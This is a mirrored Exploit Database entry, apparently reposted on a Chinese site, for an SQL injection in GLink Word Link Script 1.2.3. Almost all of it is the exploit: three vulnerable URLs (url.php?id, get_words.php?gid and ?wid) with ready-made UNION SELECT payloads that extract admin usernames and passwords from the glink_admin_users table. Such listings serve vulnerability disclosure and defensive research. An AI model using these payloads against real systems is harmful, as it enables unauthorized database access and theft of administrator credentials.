GLink Word Link Script 1.2.3 – SQL Injection

• Exploit Database
• 12 阅读

• 作者： Ihsan Sencan
  日期： 2017-03-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41665/

• # # # # #
  # Exploit Title: GLink Word Link Script v1.2.3 - SQL Injection
  # Google Dork: N/A
  # Date: 22.03.2017
  # Vendor Homepage: http://www.tufat.com/
  # Software: http://www.tufat.com/wp-content/uploads/sites/4/2015/zips/script_131.zip
  # Demo: http://www.tufat.com/glink-word-link-script/
  # Version: 1.2.3
  # Tested on: Win7 x64, Kali Linux x64
  # # # # #
  # Exploit Author: Ihsan Sencan
  # Author Web: http://ihsan.net
  # Author Mail : ihsan[@]ihsan[.]net
  # #ihsansencan
  # # # # #
  # SQL Injection/Exploit :
  # http://localhost/[PATH]/url.php?id=[SQL]
  # -1'+union+select+1,2,3,4,5,6,7,concat(user,0x3a,pass),9,10,11,12,13,14,15,16,17,18+from+glink_admin_users--+-
  # http://localhost/[PATH]/get_words.php?gid=[SQL]
  # -1'+union+select+1,concat(user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+glink_admin_users--+-&step=3
  # http://localhost/[PATH]/get_words.php?wid=[SQL]
  # -1'+union+select+1,2,concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+glink_admin_users--+-&gid=1&step=3
  # Etc...
  # # # # #